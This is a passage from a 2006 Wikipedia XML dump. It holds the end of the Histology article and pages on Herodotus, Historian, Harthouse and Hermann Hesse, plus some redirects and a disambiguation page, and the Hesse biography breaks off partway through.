The tissues are fixed in a '''fixative''', a process that stabilizes the tissues to prevent decay. The most common fixative is '''formalin''' (10% [[formaldehyde]] in water).  
===Embedding===
The most common technique is '''wax embedding'''. The samples are immersed in multiple baths of progressively more concentrated [[ethanol]] to dehydrate the tissue, followed by a clearing agent such as [[chloroform]], [[xylene]] or Histoclear, and finally hot molten [[paraffin wax]] (impregnation). During this 12 to 16 hour process, paraffin wax will replace the water: soft, moist tissues are turned into a hard paraffin block, which is then placed in a mould containing more molten wax (embedded) and allowed to cool and harden. 
===Sectioning===
The tissue is then '''sectioned''' into very thin (3 - 5 micrometer) sections using a '''[[microtome]]'''. These slices, thinner than the average [[Cell (biology)|cell]], are then placed on a glass slide for [[staining]].

===Staining===
A 3 to 5 micrometer slice of most tissues is almost completely transparent with very little visible detail. To see the tissue under a [[microscope]], the sections are [[staining|stained]] with one or more pigments. '''[[Hematoxylin]]''' and '''[[eosin]]''' (abbreviated H&amp;E) are among the most commonly used stains in histology and histopathology. Hematoxylin colors [[cell nucleus|nuclei]] blue, eosin colors the [[cytoplasm]] pink. Other compound used to color tissue sections include [[safranine]], fast green FCF, silver salts and numerous natural and artificial [[dyes]] originally developed to stain cloth fibers. The science of tissue staining is called histochemistry.

Recently, [[antibodies]] are used to stain specific proteins: this is called '''immunohistochemistry'''. This technique has greatly increased the ability to identify categories of cells under a microscope. Other advanced techniques include '''in situ hybridization''' to identify specific DNA or RNA molecules, and confocal microscopy. '''[[Digital camera|Digital cameras]]''' are increasingly used to capture histological and histopathological images.

===Alternative techniques===
Alternative techniques include '''[[frozen section procedure|cryosection]]'''. The tissue is frozen and cut using a [[cryostat]].  They are stained in simular ways to that of wax sections
'''Plastic embedding''' is commonly used in the preparation of material for electron microscopy.  Tissues are imbedded in [[epoxy]] resin. Very thin sections (less than  0.1 micrometers) are cut using diamond or glass knives .  The sections are stained with electron dense stains (uranium and lead) so that they can be seen with the [[electron microscope]]. 

==History==
In the 19th Century, histology was an academic discipline in its own right.  The 1906 [[Nobel Prize]] in Physiology or Medicine was awarded to two histologists, [[Camillo Golgi]] and [[Santiago Ramón y Cajal]].  They had dueling interpretations of the neural structure of the brain based in differing interpretations of the same images.

==Histological classification of animal tissues==

*[[epithelium]]: the lining of glands, bowel, skin and some organs like the liver, lung, kidney,
*[[endothelium]]: the lining of blood and lymphatic vessels,
*[[mesothelium]]: the lining of pleural, peritoneal and pericardial spaces,
*[[mesenchyme]]: the cells filling the spaces between the organs, including fat, muscle, bone, cartilage and tendon cells,
*[[blood]] cells: the red and white blood cells, including those found in lymph nodes and spleen,
*[[neurons]]: cells forming the brain, nerves and some glands like the pituitary and adrenal glands,
*[[germ cells]]: reproductive cells, [[spermatozoa]] in men, [[oocyte|oocytes]] in women,
*[[placenta]]: a specialized organ essential for the growth of the fetus in the mother's uterus, and
*[[stem cells]]: cells able to turn into one or several of the above types.

Note that tissues from plant, fungus and microorganisms can also be examined histologically. Their structure is very different from animal tissue.

==Related sciences==

*[[Cytology]], the study of loose cells, for example cells taken from the cervix during a cervicovaginal smear ([[pap smear]]). The cells are directly spread on a glass slide and stained.
*[[Cell biology]] the study of structures smaller than cells, within the cell itself, called [[organelle|organelles]]. It usually requires an [[electron microscope]] and [[biochemistry]] techniques. 
*[[Anatomy]], is the study of [[organ (anatomy)|organs]] visible by the naked eye; and 
*[[Morphology (biology)|Morphology]], which studies entire organisms.

==Histological artifacts==
A histological '''artifact''' is a structure or feature that is absent in living tissues, but introduced during preparation or staining.  Troubleshooting and minimizing artifacts is a major part of the discipline of histochemistry.

== References ==
1. Merck Source (2002).  [http://www.mercksource.com/pp/us/cns/cns_hl_dorlands.jspzQzpgzEzzSzppdocszSzuszSzcommonzSzdorlandszSzdorlandzSzdmd_a-b_00zPzhtm Dorland's Medical Dictionary].  Retrieved 2005-01-26.

2. Stedman's Medical Dictionaries (2005).  [http://stedmans.com/ Stedman's Online Medical Dictionary].  Retrieved 2005-01-26.

== See also ==
* [[Pathology]]
* [[Anatomical pathology]]
* [[Histopathology]]
* [[Staining (biology)|Biological staining]]
* [[List_of_publications_in_biology#Histology|Important publications in histology]]

== External links ==
*[http://www.ascp.org/bor/medlab/careers/page4.asp The Histotechnician], from the ASCP web site
*[http://www.ihcworld.com/protocol_database.htm Histology Protocols]
*[http://www.immunoportal.com Immunohistochemistry - In Situ Hybridization]
*[http://www.kumc.edu/instruction/medicine/anatomy/histoweb Histoweb]
*[http://www.siumed.edu/%7Edking2/index.htm SIU SIM Histology]

[[Category:Medical terms]]
[[Category:Anatomy]]
[[Category:Histology]]
[[Category:Histopathology]]

[[af:Histologie]]
[[an:Istolochía]]
[[bg:Хистология]]
[[bs:Histologija]]
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[[es:Histología]]
[[eo:Histologio]]
[[fa:بافت‌شناسی]]
[[fr:Histologie]]
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[[it:Istologia]]
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[[zh:组织学 (生物学)]]</text>
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  <page>
    <title>Heraclitus of Ephesus</title>
    <id>13571</id>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Heraclitus]] 
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  <page>
    <title>Henry VII</title>
    <id>13572</id>
    <revision>
      <id>35024359</id>
      <timestamp>2006-01-13T15:05:02Z</timestamp>
      <contributor>
        <ip>83.54.134.136</ip>
      </contributor>
      <text xml:space="preserve">'''Henry VII''' may refer to:
* [[Henry VII, Holy Roman Emperor]] (c. 1275–1313).
* [[Henry VII of England]] (1457–1509).
{{disambig}}

[[es:Enrique VII]]
[[fr:Henri VII]]
[[it:Enrico VII]]
[[nl:Hendrik VII]]
[[pl:Henryk VII]]
[[sv:Henrik VII]]</text>
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  <page>
    <title>Herodotus</title>
    <id>13574</id>
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      <id>42124562</id>
      <timestamp>2006-03-03T23:58:37Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
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      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Herodot.jpg|thumb|right|250px|Bust of Herodotus at Naples]]

'''Herodotus''' of [[Halicarnassus]] ([[Greek language|Greek]]: Ήροδοτος, '''Herodotos''') was a [[historian]] who lived in the [[5th century BC]] ([[484 BC]]-ca. [[425 BC]]). He is known for writing ''[[Histories (Herodotus)|The Histories]]'', a collection of stories on different places and people he learned about through his travels. It includes the conflict between [[Ancient Greece|Greece]] and [[Persian Empire|Persia]].

==Opinions==
Herodotus' invention earned him the title ''[[List of people known as the father or mother of something|&quot;The Father of History&quot;]]'' and the word he used for his achievement, ''historie'', which previously had meant simply &quot;inquiry&quot;, passed into Latin and took on its modern connotation of &quot;history&quot; or &quot;story&quot;. His nickname was given to him by [[Cicero]].

There are many cases where Herodotus, uncertain of the accuracy or truth of a particular event or region, would report the most prominent historical accounts and then opine as to which he believed was accurate and why. However, many historians and philosophers take a more [[sceptic]]al view of Herodotus' accounts and [[narrative]]s, calling him &quot;The Father of Lies&quot; or &quot;the deceiver&quot;. [[Histories (Herodotus)|''The Histories'']] were often criticised in antiquity for [[bias]], [[Accuracy and precision|inaccuracy]] and [[plagiarism]]. For example, [[Lucian|Lucian of Samosata]] attacked Herodotus as a liar in ''[[Verae historiae]]'' and denied him a place amongst the famous on the Island of the Blessed. Similar attacks had been made by several scholars in modern times, who argued that Herodotus exaggerated the extent of his travels and fabricated sources.

Respect for Herodotus' accuracy has increased since the mid-twentieth century however. For example, discoveries made since the end of the 19th century surrounding the (now submerged) ancient city of [[Heracleum (city)|Heracleum]] and the [[Necrates plaque]] lend substantial credence to Herodotus' previously unsupported claim that his [[Ancient Egypt|ancient Egyptian]] histories begin sometime in the [[New Kingdom]] [http://www.touregypt.net/featurestories/heracleum.htm]. This claim, previously considered one of Herodotus' erroneous assumptions, is now regarded by modern scholars as probably correct [http://www.touregypt.net/featurestories/heracleum.htm]. Consequently, because of the recent increase in respect for his accuracy, Herodotus is recognized not only as a pioneer in history, but in [[ethnography]] and [[anthropology]] as well.

Herodotus has passed to us information current in his own day: he reports that the annual flooding of the [[Nile]] was said to be the result of melting snows far to the south, and comments that he cannot understand how there can be snow in the hottest part of the world. He also passes on reports from [[Phoenician]] sailors from [[Ancient_Egypt|Egypt]] that while circumnavigating [[Africa]], they saw the sun on their right while sailing westwards. Thanks to this passing on of information which he himself did not believe, he has shown us something of the extent of contemporary geographical information.

Published between [[430 BC]] and [[424 BC]], ''The Histories'' were divided by later editors into nine books, named after the [[Muses]]. The first six books deal with the growth of the [[Persian Empire]]. They begin with an account of the first [[Asia]]n monarch to conquer Greek [[city-states]] and exact [[tribute]], [[Croesus]] of [[Lydia]]. Croesus lost his kingdom to [[Cyrus]], the founder of the Persian Empire. The first six books end with the defeat of the Persians in [[490 BC]] at the [[Battle of Marathon]], which was the first setback to their imperial progress. The last three books of ''The Histories'' describe the attempt of the Persian king [[Xerxes I|Xerxes]] ten years later to avenge the Persian defeat at Marathon and absorb Greece into the Persian Empire. ''The Histories'' end with the year [[479 BC]], when the Persian invaders were wiped out at the [[Battle of Plataea]] and the frontier of the Persian Empire receded to the [[Aegean Sea|Aegean]] coastline of [[Asia Minor]].

==Herodotus' life==
As for Herodotus' life, we know that he was exiled from [[Halicarnassus]] after his involvement in an unsuccessful [[putsch]] against the ruling dynasty, and he withdrew to the island of [[Samos Island|Samos]]. He seems never to have returned to Halicarnassus, though in his ''Histories'' he appears to be proud of his native city and its queen, [[Artemisia I of Caria|Artemisia]]. It must have been during his exile that he undertook the journeys he describes in ''The Histories''. These journeys took him to [[Egypt]] as far south as the [[Aswan|first cataract]] of the [[Nile]], to [[Babylon]], to [[Ukraine]], and to [[Italy]] and [[Sicily]]. Herodotus mentions an interview with an informant in [[Sparta]], and almost certainly he lived for a period in [[Athens]]. In Athens, he tapped the oral traditions of the prominent families, in particular the [[Alkmaeonidai]], to which [[Pericles]] belonged on his maternal side. But the Athenians did not accept foreigners as citizens, and when Athens sponsored the [[apoikia|colony]] of [[Thurii]] in the instep of Italy in [[444 BC]], Herodotus became a colonist. Whether he died there or not is uncertain.

At some point he became a ''logios'' &amp;ndash; that is, a reciter of prose ''logoi'' or stories &amp;ndash; and his subject matter was tales of battles, other historical incidents, and the marvels of foreign lands. He made tours of the Greek cities and the major religious and athletic festivals, where he offered performances for which he expected payment. In [[431 BC]], the [[Peloponnesian War]] broke out between [[Athens]] and [[Sparta]]. It may have been that conflict, which divided the Greek world, that inspired him to collect his stories into a continuous narrative &amp;ndash; ''The Histories'' &amp;ndash; centered on the theme of Persia's imperial progress, which Athens and Sparta as allies had brought to a halt.

The slogan ''&quot;Neither rain, nor snow, nor heat nor gloom of night stays these couriers from the swift completion of their appointed rounds&quot;'' is adapted from Herodotus. It is inscribed on the facade of the [[New York]] [[post office]] building, and was also used as part of the lyric in [[Laurie Anderson]]'s [[1981]] hit, [[O Superman]]. Herodotus' original statement described the Persian system of relay messengers; in Macaulay's translation it reads: &quot;These neither snow nor rain nor heat nor darkness of night prevents from accomplishing each one the task proposed to him, with the very utmost speed&quot; (viii.98).

==Further reading==
{{wikiquote}}
{{wikisource author}}
* Several English translations of ''The Histories of Herodotus'' are readily available in multiple editions. The most readily available are those translated by:
**[[Aubrey de Sélincourt]], originally 1954; revised by [[John Marincola]] in 1972. Several editions from [[Penguin Books]] available.
**[[David Grene]], Chicago: University of Chicago Press, 1985.
**[[George Rawlinson]], translation 1858-1860. Public domain; many editions available, although [[Everyman Library]] and [[Wordsworth Classics]] editions are the most common ones still in print.

* Evans, J. A. S., ''Herodotus.'' Boston: G. K. Hall, 1982.
* &amp;mdash;.  ''Herodotus, Explorer of the Past: Three Essays.''  Princeton, NJ: Princeton University Press, 1991.
* Fehling, Detlev. ''Herodotus and His &quot;Sources&quot;: Citation, Invention, and Narrative Art''. Translated by J.G. Howie. Arca Classical and Medieval Texts, Papers, and Monographs, 21. Leeds: Francis Cairns, 1989.
* Flory, Stewart, ''The Archaic Smile of Herodotus''. Detroit: Wayne State University Press, 1987.
* Fornara, Charles W. ''Herodotus: An Interpretative Essay''. Oxford: Clarendon Press, 1971.
* Hartog, F., ''The Mirror of Herodotus''. Berkeley, CA: University of California Press, 1988.
* [http://ccat.sas.upenn.edu/bmcr/1994/94.04.10.html Kwintner, Michelle. ''The Liar School of Herodotus (Review)''. Bryn Mawr Classical Review, 1994.]
* Lateiner, D., ''The Historical Method of Herodotus''. Toronto: University of Toronto Press, 1989.
* Pritchett, W. K., ''The Liar School of Herodotus''. Amsterdam: Gieben, 1991.
* Thomas, R., 'Herodotus in Context; ethnography, science and the art of persusion'. Oxford University Press 2000.

==See also==
*''[[Faraon|Pharaoh]]'' (historical novel by [[Boleslaw Prus|Boles&amp;#322;aw Prus]], incorporating scenes involving the ancient Egyptian [[Labyrinth]] described in Book II of ''[[The Histories of Herodotus]]'').
*[[Thucydides]], ancient Greek historian who is often said to be &quot;the father of history&quot;.

==External links==
* [http://ancienthistory.about.com/library/bl/bl_text_herodotus.htm Herodotus] at About.com
* A reconstructed [http://www.reportret.info/gallery/herodotos1.html portrait of Herodotos], based on historical sources, in a contemporary style.
* [http://classics.mit.edu/Herodotus/history.html The History of Herodotus] at The Internet Classics Archive (translation by George Rawlinson)
* {{gutenberg author| id=Herodotus | name=Herodotus}}
** {{gutenberg|no=2707|name=The History of Herodotus, vol. 1}} (translation by [[George Campbell Macaulay]], [[1852]]-[[1915]])
** {{gutenberg|no=2456|name=The History of Herodotus, vol. 2}}
* [http://www.isidore-of-seville.com/herodotus/ Herodotus on the Web] 
* [http://www.historyforkids.org/learn/greeks/literature/herodotus.htm Herodotus for Kids]
* [http://www.livius.org/he-hg/herodotus/herodotus01.htm Herodotus of Halicarnassus] at Livius.org
* [http://essays.org.uk/classical-studies/herodotus-thucydides/ Comparison of the writings of Herodotus and Thucydides]
* [http://www.greek-literature-online.com/herodotus/ Herodotus' ''The Histories''] translated into English in an easy to read HTML format
* [http://www.losttrails.com/pages/Tales/Inquiries/Herodotus.html Herodotus Inquiries] - new translation with extensive photographic essays of the places and artifacts mentioned by Herodotus hyper-linked to the text

* [http://www.sacred-texts.com/cla/hh/index.htm Parallel Greek and English text of the History of Herodotus] at the Internet Sacred Text Archive
----

''An [http://www.nupedia.com/article/390/ earlier version] of this article by James Allan Evans was posted at [[Nupedia]].''

[[Category:484 BC births|Herodotus]]
[[Category:425 BC deaths|Herodotus]]
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[[Category:Ancient Greek historians]]
[[Category:Historians|Herodotus]]

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  <page>
    <title>Historian</title>
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      <text xml:space="preserve">:''This article refers to those who study the subject of [[history]]. For medical uses of the term ''&quot;historian&quot;'', please refer to [[Historian (medical)]] article.''

A '''historian''' is a person who studies [[history]].  The term is often reserved for people whose work is recognized in [[academia]], particularly those who have acquired [[Academic degree|graduate degree]]s in the discipline.  (It was also used as the slang term for a [[secret police]]man in [[Yugoslavia]] under [[Tito]].)

==Historical analysis==

The process of historical analysis is a difficult one, involving investigation and analysis of competing ideas, facts, and purported facts to create coherent [[narrative]]s that explain &quot;what happened&quot; and &quot;why or how it happened.&quot;   Modern historical analysis usually draws upon most of the other social sciences, including [[economics]], [[sociology]], [[politics]], [[psychology]], [[philosophy]] and [[linguistics]], in order to ensure these narratives are thorough, balanced and holistic.  The related field in which methods of historical analysis are studied is called [[historiography]].

==The changing nature of the historian==

The modern role of the historian (and the discipline of history) is a somewhat recent construction. The job of the historian has been important for thousands of years, to the extent that the definition of history has frequently been simply [[recorded history]]. The closely allied job of the [[chronicler]] often produces similar work as the historian and they are often considered together.  The chronicler usually records events as they happen, so they engage less in delving back into history and there is often less historical analysis in their work.  Many chronicles have short early histories attached so that they will start from the beginning of the world. These prefaces are usually of much less historical interest. While ancient writers do not normally share modern historical practices, their work remains valuable for its insights within its cultural context.

An important part of the job of many modern historians is the verification or dismissal of earlier historical accounts through reviewing newly discovered sources, recent scholarship, or through parallel disciplines such as [[archaeology]].

===Developments prior to the Twentieth century===

Although we regularly refer to Ancient writers such as [[Herodotus]] (often called &quot;The Father of History&quot;) or [[Tacitus]] (c. 56–c. 117) as &quot;historians,&quot; their works do not meet the modern standards of impartiality and objectivity. Many of the historians of the past have been called upon to write histories either to furnish a king or a ruling class with a lineage, thereby offering it legitimacy, or to give a people a cultural heritage and sense of identity.  This meant that the works of these historians openly mixed [[oratory]], [[poetry]] and [[literature]] in a way which is incompatible with the contemporary concern for impartiality and objectivity. This does not necessarily devalue their work, but does require that their efforts be considered within their cultural context.

[[Herodotus]], [[5th century BC]], is known as &quot;The father of History&quot; for being one of the earliest nameable historians whose work survives. His recount of strange and unusual tales are gripping stories, but not necessarily representative of the historical record.  Despite this, ''[[The Histories of Herodotus]]'' displays some of the techniques of more modern historians.  Herodotus interviewed witnesses, evaluated [[oral history|oral histories]], studied multiple sources and then pronounced his preferred version.  

The work of Herodotus covered what was then the entire known world, or at least the part regarded as worthy of study, ''i.e.'', the peoples surrounding the [[Mediterranean]].  At about the same time [[Thucydides]] pioneered a different form of history much closer to [[reportage]].  In his work, ''[[History of the Peloponnesian War]]'', Thucydides wrote about a single long conflict with its origins and results; but as it was mainly within living memory, and Thucydides himself was alive at the time of many of the events, there was less room for myths and tall tales.

Much of the groundwork in creating the modern figure of the historian was done by [[Charles de Secondat, Baron de Montesquieu|Montesquieu]] (1689–1755).  His wide-ranging ''[[Spirit of the Laws]]'' ([[1748]]) spanned legal, geographical, cultural, economic, political and philosophical study, and was hugely influential in forging the fundamentally inter-disciplinary historian.

===Twentieth century developments===

At the turn of the twentieth century, Western history remained notoriously biased towards the so-called &quot;Great Men&quot; school of history - covering [[war|wars]], [[diplomacy]], large ideas/[[science]], and [[politics]]. This point of view was inherently biased towards the study of a small number of powerful males within the socioeconomical elite. 

A pronounced shift away from crude [[Whiggishness|Whiggish]] analyses has started, in favor of a more critical and precise perspective.  For example, a common myth is that [[Thomas Edison]] invented the [[electric light bulb]]; a traditional American history might highlight Edison's story at the expense of all others.  In contrast, a modern history of Edison mentions all his predecessors and competitors, in order to show that Edison's real accomplishment was in finding a long-lasting [[filament]], and in engineering the successful commercial deployment of the technology.  

Since the [[1960s]], history as an academic discipline has undergone several revolutions. These changes fostered advances in a number of areas previously unrecognized in historiography. Previously neglected topics became the subject of academic study, such as the history of [[popular culture]], [[mass culture]], geographical culture, and the lives of ordinary people.

Historians also started investigating histories of ideas surrounding various categories of people, such as women studies (including an entire branch of [[feminist]] history, sometimes called [[Herstory]])), racial minorities (like [[African-American History]]), or disabled people (eg., a historian might study the construction of ideas about disabled people, and the results thereof, perhaps in a specific historical setting, such as [[Nazi Germany]]).

==Recent developments==

Today, many historians are employed at universities and other facilities for post-secondary education. In addition, it is common, although not required, for many historians to have a PhD in their chosen area of study. When doing their [[thesis]] for this degree, many turn it into their first book, since continual publishing is essential for advancement in educative professions. There is currently a great deal of controversy among academic historians regarding the possibility and desirability of [[neutrality]] in historical scholarship.

==See also==
*[[:Category:Historians|Historians]] - category
*[[List of historians]] - by name
*[[List of historians by area of study]]

*[[List of Canadian historians]]
*[[List of Jewish historians]]

*[[List of chess historians]]
*[[List of historians of the French Revolution]]

*[[:Category:History books|List of history books]]

*[[Historiography]]

==Bibliography==
*''The Blackwell dictionary of historians'' by John Cannon, R.H.C.&amp;nbsp;Davis, William Doyle, Jack&amp;nbsp;P. Greene (Editor). Oxford: Blackwell Publishers, 1988 (ISBN 063114708X).
*''Encyclopedia of historians and historical writing'', ed. by Kelly Boyd, : London [etc.] : Fitzroy Dearborn, 1999
*''Dictionary of British classicists, 1500–1960'' by Richard B. Todd (editor). Bristol: Thoemmes Continuum, 2004 (ISBN 1855069970).

==External links==
*[http://www.historians.org  American Historical Association]
*[http://www.oah.org/  Organization of American Historians]
*[http://www.nfhdata.de/premium/datenbasis-information/pages/International_News_Service_for_Historians/index.shtml International News Service for Historians].
*[http://www.h-net.org/ H-net Discussion and reviews]
*[http://www.scholiast.org/history/histphil.html Historians and Philosophers]
[[Category:Humanities occupations]] 

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    <title>High Frequency Limits</title>
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      <comment>#redirect [[high frequency limit]]</comment>
      <text xml:space="preserve">#redirect [[high frequency limit]]
 </text>
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  </page>
  <page>
    <title>Harthouse</title>
    <id>13577</id>
    <revision>
      <id>40001778</id>
      <timestamp>2006-02-17T12:08:44Z</timestamp>
      <contributor>
        <username>Warpozio</username>
        <id>96257</id>
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      <minor />
      <text xml:space="preserve">'''Harthouse''' is a [[Germany|German]] [[record label]] which produces [[electronic music]].

The label has been responsible for many success stories in the electronic world including [[Oliver Lieb]], [[Hardfloor]], [[Sven Väth]] and [[Koxbox]].

== See also ==
* [[List of record labels]]
* [[List of electronic music record labels]]

==External links==
* [http://www.harthouse.com/ Official site]
* [http://www.discogs.com/label/Harthouse Harthouse] at [[Discogs]].com

{{record-label-stub}}
[[Category:Electronic music record labels]]
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[[sl:Harthouse]]</text>
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  </page>
  <page>
    <title>Hermann Hesse</title>
    <id>13578</id>
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      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">[[Image:Hermann Hesse 1927 Photo Gret Widmann.jpg|thumb|Hermann Hesse in 1927]]

'''Hermann Hesse''' ([[2 July]] [[1877]] &amp;ndash; [[9 August]] [[1962]]) was a [[Germany|German]]-[[Switzerland|Swiss]] poet, novelist, and painter. In 1946, he received the [[Nobel Prize in Literature]]. His best known works include ''[[Steppenwolf (novel)|Steppenwolf]]'', ''[[Siddhartha (novel)|Siddhartha]]'', and ''[[The Glass Bead Game]]'' (also known as ''Magister Ludi'').

==Life==

===Youth===

[[Image: Hermann Hesse Geburtshaus Calw 1977.jpeg|thumb|Hesse's birthplace in Calw]]

Hermann Hesse was born on July 2, 1877 in the [[Black Forest]] town of [[Calw]] in [[Württemberg]], [[Germany]] to a [[Christian]] [[Missionary]] family. Both of his parents served with a Basel Mission to [[India]], where Hesse's mother [[Marie Gundert]] was born in 1842. Hesse's father, [[Johannes Hesse]], was born in 1847 in [[Estonia]] as the son of a doctor. The Hesse family had lived in Calw since 1873, where they operated a missionary publishing house under the direction of Hesse's grandfather, [[Hermann Gundert]].

Hermann Hesse spent his first years of life surrounded by the spirit of [[Swabia|Swabian]] piety. In 1881 the family moved to [[Basel]], [[Switzerland]] for five years, then returned to Calw. After successful attendance at the Latin School in [[Göppingen]], Hesse began to attend the Evangelical Theological Seminary in [[Maulbronn]] in 1891. Here in March 1892, Hesse showed his rebellious character: he fled from the Seminary and was found in a field a day later.

During this time, Hesse began a journey through various institutions and schools, and experienced intense conflicts with his parents. He experienced the depression of a bipolar condition and mentioned suicidal thoughts in a letter from March 20, 1892. In May, after an attempt at suicide, he spent time at an institution in [[Bad Boll]] under the care of theologian and minister [[Christoph Friedrich Blumhardt]]. Later he was placed in a mental institution in [[Stetten im Remstal]], and then a boys' institution in Basel.

At the end of 1892, he attended the [[Gymnasium (school)|Gymnasium]] in [[Cannstatt]]. In 1893, he passed the One Year Examination, which concluded his schooling.

After this, he began a bookshop apprenticeship in [[Esslingen am Neckar]], but after three days he left. Then in the early summer of 1894, he began a fourteen month mechanic apprenticeship at a clock tower factory in Calw. The monotony of soldering and filing work made him resolve to turn himself toward more spiritual activities. In October 1895, he was ready to begin wholeheartedly a new apprenticeship with a bookseller in [[Tübingen]]. This experience from his youth he returns to later in his novel, ''Beneath the Wheel''.

===Toward a writer===

On October 17, 1895, Hesse began working in the bookshop [http://www.heckenhauer.de/ Heckenhauer] in Tübingen, which had a collection specializing in theology, philology, and law. Hesse's assignment there consisted of organizing, packing, and archiving the books. After the end of each twelve hour workday, Hesse pursued his own work further, and he used his long, free Sundays with books rather than social contacts. Hesse studied theological writings, and later Goethe, Lessing, Schiller, and several texts on [[Greek mythology]]. In 1896, his poem 'Madonna' appeared in a [[Vienna|Viennese]] periodical.

In 1898, Hesse had a respectable income that enabled his financial independence from his parents. During this time, he concentrated on the works of the [[German Romantics]], including much of the work from [[Clemens Brentano]], [[Joseph Freiherr von Eichendorff]], [[Friedrich Holderlin]] and [[Novalis]]. In letters to his parents, he expressed a belief that &quot;the morality of artists is replaced by aesthetics.&quot;

In the fall, Hesse released his first small volume of poetry, ''Romantic Songs'' and in the summer of 1899, a collection of prose, entitled ''One Hour After Midnight''. Both works were a business failure. In two years, only 54 of the 600 printed copies of ''Romantic Songs'' were sold, and ''One Hour After Midnight'' received only one printing and sold sluggishly. Nevertheless, the [[Leipzig]] publisher [[Eugen Diederichs]] was convinced of the literary quality of the work and from the beginning regarded the publications more as encouragement of a young author than as profitable business.

Beginning in the fall of 1899, Hesse worked in a distinguished antique book shop in Basel. There the contacts of his family with the intellectual families of Basel helped open for him a spiritual-artistic environment with rich stimuli for his pursuits. At the same time, Basel offered the solitary Hesse many opportunities for withdrawal into a private life of artistic self-exploration through journeys and wanderings. In 1900, Hesse was exempted from compulsory military service due to an [[Amblyopia|eye condition]], which, along with [[Neuralgia|nerve disorders]] and persistent headaches, affected him his entire life.

In 1901, Hesse undertook to fulfill a grand dream and travelled for the first time to Italy. In the same year, Hesse changed jobs and began working at the antiquarium Wattenwyl in Basel. Hesse had more opportunities to release poems and small literary texts to journals. These publications now provided honorariums. Shortly the publisher [[Samuel Fischer]] became interested in Hesse, and with the novel ''Peter Camenzind'', which appeared first as a pre-publication in 1903 and then as a regular printing by Fischer in 1904, came a breakthrough: From now on, Hesse could live as a free author.

===Between Lake Constance and India===

[[Image:Hermann Hesse Desk Museum Gaienhofen.jpeg|thumb|Hesse's writing desk, pictured at the Museum Gaienhofen]]

With the literary fame, Hesse married [[Maria Bernoulli]] in 1904, settled down with her in [[Gaienhofen]] on [[Lake Constance]], and began a family, eventually having three sons. In Gaienhofen, he wrote his second novel ''[[Beneath the Wheel]]'', which appeared in 1906. In the following time he composed primarily short stories and poems. His next novel, ''[[Gertrud (novel)|Gertrude]]'', published in 1910, revealed a production crisis &amp;mdash; he had to struggle through writing it, and he later would describe it as a miscarriage.

During this time, there also was increased dissonance between him and Maria, and in 1911, Hesse left alone for a long trip to [[Sri Lanka]] and [[Indonesia]]. Any spiritual or religious inspiration, for which he hoped, did not find him, but the journey made a strong impression on his literary work. Following Hesse's return, the family moved to [[Bern]] in 1912, but the change of environment could not solve the marriage problems, as he himself confessed in his novel ''[[Rosshalde]]'' from 1914.

===The First World War===

At the outbreak of the [[First World War]] in 1914, Hesse registered himself as a voluntary with the [[German Empire|German]] government, saying that he could not sit inactively by a warm fireplace while other young authors were dying on the front. He was found unfit for combat duty, but was assigned to service involving the care of war prisoners.

On November 3, 1914 in the ''Neuen Züricher Zeitung'', Hesse's essay ''O Friends, Not These Tones'' (''O Freunde, nicht diese Töne'') appeared, in which he appealed to German intellectuals not to fall for nationalism. What followed from this, Hesse later indicated, was a great turning point in his life: For the first time he found himself in the middle of a serious political conflict, attacked by the German press, the recipient of hate mail, and distanced from by old friends. He did receive continued support from his friend [[Theodor Heuss]], and also from the French writer [[Romain Rolland]], whom Hesse visited in August 1915.

This public controversy was not yet resolved, when a deeper life crisis befell Hesse with the death of his father on March 8, 1916, the difficult sickness of his son Martin, and the break out of [[schizophrenia]] of his wife. He was forced to leave his military service and begin receiving psychotherapy. This began for Hesse a long preoccupation with psychoanalysis, through which he came to know [[Carl Jung]] personally, and was challenged to new creative heights: During a three week period during September and October 1917, Hesse penned his novel ''[[Demian]]'', which would be published following the armistice in 1919 under the pseudonym Emil Sinclair.

===Casa Camuzzi===

[[Image:Hermann Hesse 1925 Photo Gret Widmann.jpeg|thumb|Hermann Hesse in 1925]]

When Hesse returned to civilian life in 1919, his marriage was shattered. His wife had a severe outbreak of psychosis, but even after her recovery, Hesse saw no possible future with her. Their home in Bern was divided, and Hesse resettled alone in the middle of April in [[Ticino]], where he occupied a small farm house near [[Minusio bei Locarno]], and later lived from April 25 until May 11 in [[Sorengo]]. On May 11, he moved to the town [[Montagnola]] and rented four small rooms in a strange castle-like building, the 'Casa Camuzzi'.

Here he explored his writing projects further; he began to paint, an activity which is reflected in his next major story ''Klingsor's Last Summer'', published in 1920. In 1922, Hesse's Indian novel ''[[Siddhartha (novel)|Siddhartha]]'' appeared, which showed the love for Indian culture and Asian wisdom, which had already developed at his parent's house. In 1924, Hesse married the singer [[Ruth Wenger]], the daughter of the Swiss writer [[Lisa Wenger]] and aunt of [[Meret Oppenheim]]. This marriage was doomed to failure from the start and never attained any true stability.

In this year, Hesse received Swiss citizenship. His next major works, ''Kurgast'' from 1925 and ''The Nuremberg Trip'' from 1927, were autobiographical narratives with ironic undertones, and which foreshadow Hesse's following novel, ''[[Steppenwolf (novel)|Steppenwolf]]'', which was published in 1927. In the year of his 50th birthday, the first biography of Hesse appeared, written by his friend [[Hugo Ball]]. Shortly after his new successful novel, he turned away from the solitude of Steppenwolf and married [[Ninon Dolbin Ausländer]]. This change to companionship was reflected in the novel ''[[Narcissus and Goldmund]]'', appearing in 1930.

In 1931, Hesse left the Casa Camuzzi and moved with Ninon to a large house (Casa Hesse) near Montagnola, which was built according to his wishes.

===The Glass Bead Game===

In 1931, Hesse began planning what would become his last major work, ''[[The Glass Bead Game]]''. In 1932 as a preliminary study, he released the novella, ''[[Journey to the East]]''. Hesse observed the rise to power of [[Nazism|National Socialism]] in Germany with great concern. In 1933, [[Bertolt Brecht]] and [[Thomas Mann]] made their travels in exile, and in both cases, were aided by Hesse. In this way, Hesse attempted to work against the developments in Germany.

Since the 1910s, he had published book reviews in the German press, and now he spoke publicly in support of Jewish artists and others pursued by the [[Nazis]]. After the middle of the 1930s, no German journal dared to publish articles from Hesse. As spiritual refuge from these political conflicts and later from the horror of the [[Second World War]], he worked on the novel ''The Glass Bead Game'' which was printed in 1943 in Switzerland. For this work among his others, he was awarded the [[Nobel Prize in Literature]] in 1946.

